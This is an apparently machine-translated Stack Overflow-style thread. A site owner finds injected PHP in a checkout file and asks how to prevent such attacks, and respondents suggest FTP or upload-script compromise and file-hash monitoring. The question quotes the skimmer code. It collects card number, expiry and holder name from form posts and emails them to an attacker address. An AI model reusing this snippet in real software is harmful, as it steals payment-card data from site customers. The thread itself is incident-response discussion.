2013-06-28 20 views
0

我剛剛在我們創建的網站上重新測試流程,當我到達Checkout部分時,我意識到頁面中有一些我們從未寫過的代碼。這是一次注射,它真的讓我們感到害怕。 代碼只是作爲文本放在其中一個結帳文件中,所以它不會執行,因爲它不在PHP標籤內,但它非常可怕。避免PHP注入來從表單發佈數據

該代碼實質上是發佈支付指令(卡上的名稱,卡類型,卡號,cvc,到期日期)的每個字段,然後執行mail()php函數將信息發送到特定的電子郵件。我甚至有黑客的電子郵件!

$message .= "Number : ".$_POST['card_number']."\n"; 
$message .= "Cvv : ".$_POST['card_brand']."\n"; 
$message .= "exp : ".$_POST['card_expiration']."\n"; 
$message .= "Name : ".$_POST['card_holder']."\n"; 
$i = "[email protected]"; 
$subject = "cc"; 
mail($i,$subject,$message); 

我們如何才能避免在我們的網站PHP注射?我聯繫了Stripe,他支持我們的付款以檢查他們的API是否足夠安全。我覺得是這樣的。但是,郵寄信息和其他與付款無關的信息可能很容易通過像這樣的注入黑客入侵。我們如何避免在我們的文件中注射?

謝謝!

+0

有成千上萬的方法可以被黑客攻擊,它可能是服務器/ ftp/ssh帳戶,或腳本本身易受RFI,上傳表單無法正確檢查文件等等。您將不得不檢查您的代碼併爲其採取行動。 – Twisted1919

+0

如果攻擊者能夠修改其中一個腳本,儘管不在PHP標記之外,那麼您的系統中存在嚴重的漏洞。你應該放棄所有的開發工作,並且讓它成爲你找到並修復漏洞的當務之急,尤其是考慮到你似乎直接獲取信用卡信息。首先分析日誌文件並檢查所有軟件是否是最新的(Web服務器,FTP守護進程等)。 – MrCode

+0

不幸的是我沒有自己的服務器。它是一個提供者。我可以自己做什麼?我已經通過他們抱怨。 – samyb8

回答

1

這將需要一個相當智能的機器人來檢測並將它注入到正確的位置。有人可以訪問FTP或已經上傳了PHP文件管理器 - 可能來自文件上傳腳本。

一旦你清理了一切,也許你可以對這些文件進行「哈希快照」。然後掃描它們(自動或手動)以測試哈希變化。如果文件中有任何改變,文件的哈希值也會改變 - 那麼你可以讓它提醒某人。從那裏,你可以查看日誌,並試圖找出它來自哪裏。

只是一個想法。

+0

我如何檢測他們是否已將某些內容上傳到服務器? – samyb8

+0

已更新回答, –

+0

查找您未上傳的文件,或使用某種c99/etc外殼檢測。您的服務器上是否有任何文件上傳腳本? –